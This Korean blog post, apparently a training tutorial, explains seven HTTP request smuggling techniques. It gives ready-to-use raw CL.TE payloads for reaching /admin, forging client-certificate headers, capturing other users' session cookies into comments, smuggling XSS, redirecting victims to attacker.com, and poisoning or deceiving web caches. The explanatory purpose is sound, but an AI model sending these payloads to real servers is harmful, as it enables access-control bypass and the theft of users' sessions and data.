HTTP Request Smuggling Exploit

HTTP Request Smuggling(HRS)은 다양한 방식의 공격이 가능하다. 아래 글은 기본 개념에 관한 내용이다.

2024.12.08 - [web hacking 🖥/techniques ❌ principles] - HTTP Request Smuggling 취약점

HTTP Request Smuggling 취약점

 

01. Front-end Security Control 우회

몇몇 애플리케이션은 front-end 서버에 security controls를 두어 각 요청을 전달할지 여부를 결정한다. 권한이 부여된 사용자인지를 front-end에서 판단한다면 back-end는 매 순간 들어오는 요청을 의심할 부담이 준다는 구조로 이해할 수 있다. 하지만, 이러한 환경에서 HRS 취약점은 접근 제어를 우회하여 제한된 URL에 도달할 수 있게 해준다.

현 사용자가 “/home” 에는 접근가능하지만, “/admin”에는 불가능하다고 가정해보자. 그렇다면 아래와 같은 공격이 가능하다.

POST /home HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
x: x

다음 요청으로 정상적인 “/home” 요청을 보내면 아래와 같은 결과가 나오게 된다.

GET /admin HTTP/1.1
x: xGET /home HTTP/1.1
Host: kortsec1.com
...

 

02. Revealing Front-end Request Rewriting

front-end 서버에서 요청을 수정하여 back-end 서버로 보내는 경우가 있다. 아래 상황과 같이 추가적인 요청 헤더를 추가하여 보내는 것이다.

• TLS 연결을 종료하고 사용된 프로토콜과 암호를 헤더에 추가한다.
• X-Forwarded-For 헤더를 통해 사용자의 IP 주소를 전달한다.
• 세션 토큰을 통해 사용자를 식별하고 헤더에 추가한다.

우리가 HRS 공격을 할 때 front-end 서버에서 발생하는 예상치 못한 헤더 추가가 있으면 원하는 결과를 볼 수 없을 것이다. 우리가 효과적인 공격을 수행하기 위해서는 아래 과정을 통해 front-end 서버에서 정확히 어떻게 요청을 수정할지 알아봐야 한다.

• 애플리케이션 응답속 요청 파라미터값을 반영하는 POST 요청을 찾는다.
• 해당 POST 요청 파라미터가 메세지 본문의 마지막에 오도록 조정한다.
• 요청을 back-end 서버에 보내고 정상 요청을 보내, 원하는 정보를 얻는다.

예시를 위해 “email” 파라미터와 함께 구성된 로그인 함수가 있다고 가정하자.

POST /login HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

email=kortsec1@normal-user.net

위 요청은 아래 구성을 포함하는 응답을 받는다.

<input id="email" value="kortsec1@normal-user.net" type="text">

이제 HRS 공격을 통해 front-end 서버의 rewriting 정보를 얻을 수 있다.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 125
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=

요청을 보내면 “0” 이후의 값은 남게되고 다시 정상적인 “/login” 요청을 보내면 back-end 서버는 해당 요청 뿐만 아니라 front-end 서버에서 추가하는 헤더까지 파라미터 “email”의 값으로 받게된다. 이를 통해 응답의 html 블럭에 추가 헤더 정보가 보여지는 것이다.

<input id="email" value="POST /login HTTP/1.1
Host: kortsec1.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

이렇게 알게된 정보를 바탕으로 요청을 수정하여 back-end 서버에 보내면, 정상적인 요청으로 위조하여 요청을 수행할 수 있게 된다.

 

03. 사용자 인증 우회

TLS handshake의 일부로 서버는 인증서를 제공하며 클라이언트(보통 브라우저)에게 검증되었음을 알린다. 이러한 인증서는 등록된 hostname과 매칭되는 “common name”(CN)을 포함한다. 클라이언트는 이를 이용하여 검증된 서버와 정상적인 요청을 주고받을 수 있다.

더 나아가 몇몇 사이트들은 서버 뿐만 아닌 클라이언트도 인증서를 제공하는 환경을 갖추고있다. 이러한 경우, 클라이언트의 CN은 주로 “username”과 같은 값을 바탕으로 back-end 애플리케이션속 access control 매커니즘의 검증을 받는다.

클라이언트를 증명하는 요소들은 하나 이상의 non-standard HTTP 헤더를 통해 관련 정보들을 애플리케이션이나 back-end 서버로 넘긴다. 예를들어, 몇몇 front-end 서버들은 들어오는 요청에 클라이언트의 CN을 포함하는 헤더를 추가하여 넘긴다.

GET /admin HTTP/1.1
Host: kortsec1.com
X-SSL-CLIENT-CN: ch4n_un9

이러한 헤더들은 사용자들의 입장에선 알 수 없기에 back-end 서버는 믿을 수 있는 정보가 된다. 여기서 우리가 헤더의 정확한 조합을 보낼 수 있다면, 이는 접근 통제 우회가 되는 것이다. front-end 서버는 헤더가 이미 존재한다면 이를 덮어쓴 후 보내기 때문에 실제 공격은 쉽지 않다. 하지만, HRS 취약점을 이용한 공격은 front-end 서버로부터 헤더를 숨기고 보낼 수 있기에 간섭없이 back-end 서버로 요청을 전달할 수 있다.

POST / HTTP/1.1
Host: kortsec1.com
Content-Type: x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: admin
x: x

 

04. 다른 사용자의 요청 가로채기

댓글, 이메일, 프로필 소개와 같이 애플리케이션에 텍스트 정보를 저장하고 불러올 수 있는 요소는 다른 사용자들의 요청을 가로챌 수 있는 수단이 된다.

공격 수행을 위해선 저장할 데이터가 마지막에 위치해 있는 요청을 smuggle 해야한다. 예를들어 블로그에 저장되고 보여지는 댓글 기능이 있고, 아래와 같은 요청을 사용한다 해보자.

POST /post/comment HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Cookie: session=xxx

csrf=xxx&postID=4&comment=ur_commnet&name=kortsec1

댓글에 다른 사용자의 요청 데이터를 가로채어 저장하기 위해 HRS 공격 요청을 보낸다.

GET / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 300

0

POST /post/comment HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=xxx

csrf=xxx&postId=4&comment=ur_comment&name=kortsec1&comment=

Content-Length 헤더를 넉넉히 잡고, body속 “commnet”를 가장 마지막에 둔 후 HRS 공격을 수행한다면 서버는 Content-Length 헤더의 값만큼의 데이터를 기다리며 다음 요청을 댓글로 저장하게 되는 것이다. 결과적으로 아래와 같다.

POST /post/comment HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=xxx

csrf=xxx&postId=4&comment=ur_comment&name=kortsec1&comment=GET / HTTP/1.1
Host: kortsec1.com
Cookie: session=yyy
...

위와같이 피해자의 요청값이 댓글로 작성되며 블로그에 방문하는 것만으로 손쉽게 확인할 수 있다.

 

05. Reflected XSS with HRS

만일 애플리케이션이 reflected XSS에 대한 취약점이 존재한다면, HRS 취약점과 연결한 공격이 가능하다. 보통의 reflected XSS exploit과 달리, 이는 피해자가 직접 URL에 접근하는 형식이 아니다. 단지, 공격 요청을 smuggle 해놓고 피해자가 정상적으로 HTTP 요청을 보내면 끝난다.

User-Agent 헤더에 reflected XSS 취약점이 있는 상황에서 아래와 같은 공격이 가능하다.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 64
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(7)</script>
X: X

다른 유저가 다음 요청을 보낸다면 reflected XSS 공격 코드가 포함된 응답을 받게 되는 것이다.

 

06. Open Redirect with HRS

많은 애플리케이션들은 URL 이동 시 on-site redirect를 사용하며 HTTP 요청의 Host 헤더를 redirect URL에 위치시킨다. Apache와 IIS 와 같은 웹 서버들을 보면 trailing slash 없이 요청을 받으면 이를 포함한 URL로 redirect 시킨다.

GET /asdf HTTP/1.1
Host: kortsec1.com

HTTP/1.1 301 Moved Permanently
Location: <https://kortsec1.com/asdf/>

이는 별 문제가 아닌 것 처럼 보이지만, HRS 공격과 만난다면 다른 사용자들이 외부 도메인에 접속하게 유도할 수 있다.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 49
Transfer-Encoding: chunked

0

GET /asdf HTTP/1.1
Host: attacker.com
X: X

위 공격은 다음 요청이 들어온 사용자가 “attacker.com” 이라는 악의적인 외부 도메인에 접근하게 만든다.

GET /asdf HTTP/1.1
Host: attacker.com
X: XGET / HTTP/1.1
Host: kortsec1.com

HTTP/1.1 301 Moved Permanently
Location: <https://attacker.com/asdf>

protocol-relative URL이 사용 가능하다면 이를 이용하는 것도 가능하다.

GET //attacker.com/asdf HTTP/1.1
Host: kortsec1.com

HTTP/1.1 301 Moved Permanently
Location: //attacker.com/asdf/

 

07. 웹 캐시 with HRS

웹 캐시 Poisoning

front-end 서버가 성능을 위해 정보를 캐싱하고 있다면 이는 HRS 공격과 만나 off-site redirection을 이끌어낸다. HRS를 통해 redirection 요청과 잘못된 Host를 캐싱하여 지속적으로 여러 피해자들에게 영향을 줄 수 있다.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 49
Transfer-Encoding: chunked

0

GET /asdf HTTP/1.1
Host: attacker.com
X: X

위 요청은 마찬가지로 다음 요청이 “attacker.com/asdf” 으로 redirect 되도록 설계되었다. off-site redirect가 실행되기 전에 back-end 서버에 남아있는 상태다.

GET /asdf HTTP/1.1
Host: attacker.com
X: XGET /static/include.js HTTP/1.1
Host: kortsec1.com

front-end 서버는 “/static/include.js”를 악의적인 도메인에 요청하고 이를 캐싱한다. 그리고 아래와 같이 다른 자용자들이 해당 URL을 요청하면 “attacker.com/asdf”로의 redirection을 응답으로 받는다.

GET /static/include.js HTTP/1.1
Host: kortsec1.com

HTTP/1.1 301 Moved Parmanently
Location: <https://attacker.com/asdf/>

웹 캐시 Deception

Poisoning은 악의적인 요청을 애플리케이션에 저장해놓고 다른 사용자가 실행하도록 유도하는 과정이었다. Deception 과정은 다른 사용자의 민감한 정보를 캐시에 저장하게 한 후, 공격자가 이를 회수하는 공격이다.

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 35
Transfer-Encoding: chunked

0

GET /secret/msg HTTP/1.1
X: X

공격자는 “/secret/msg” 경로를 통해 다른 사용자의 민감한 정보 접근을 유도하고 있다.

GET /secret/msg HTTP/1.1
X: XGET /static/image.png HTTP/1.1
Host: kortsec1.com
Cookie: sessionId=xxx
...

다른 사용자는 “/static/image.png”에 접근하려 했지만 공격자의 의도대로 “/secret/msg”에 접근하였고, front-end는 이를 캐싱하여 “/static/image.png”에는 피해자의 민감한 정보가 저장된다. 공격자는 단순히 해당 URL에 접근하여 정보를 획득할 수 있다. 하지만 중요한 사실은 공격자가 정확히 어떤 URL에 저장되어있는지를 모른다는 것이다. 빈번한 곳을 타겟팅하거나 많은 양의 static URL 들을 살펴보아야 한다.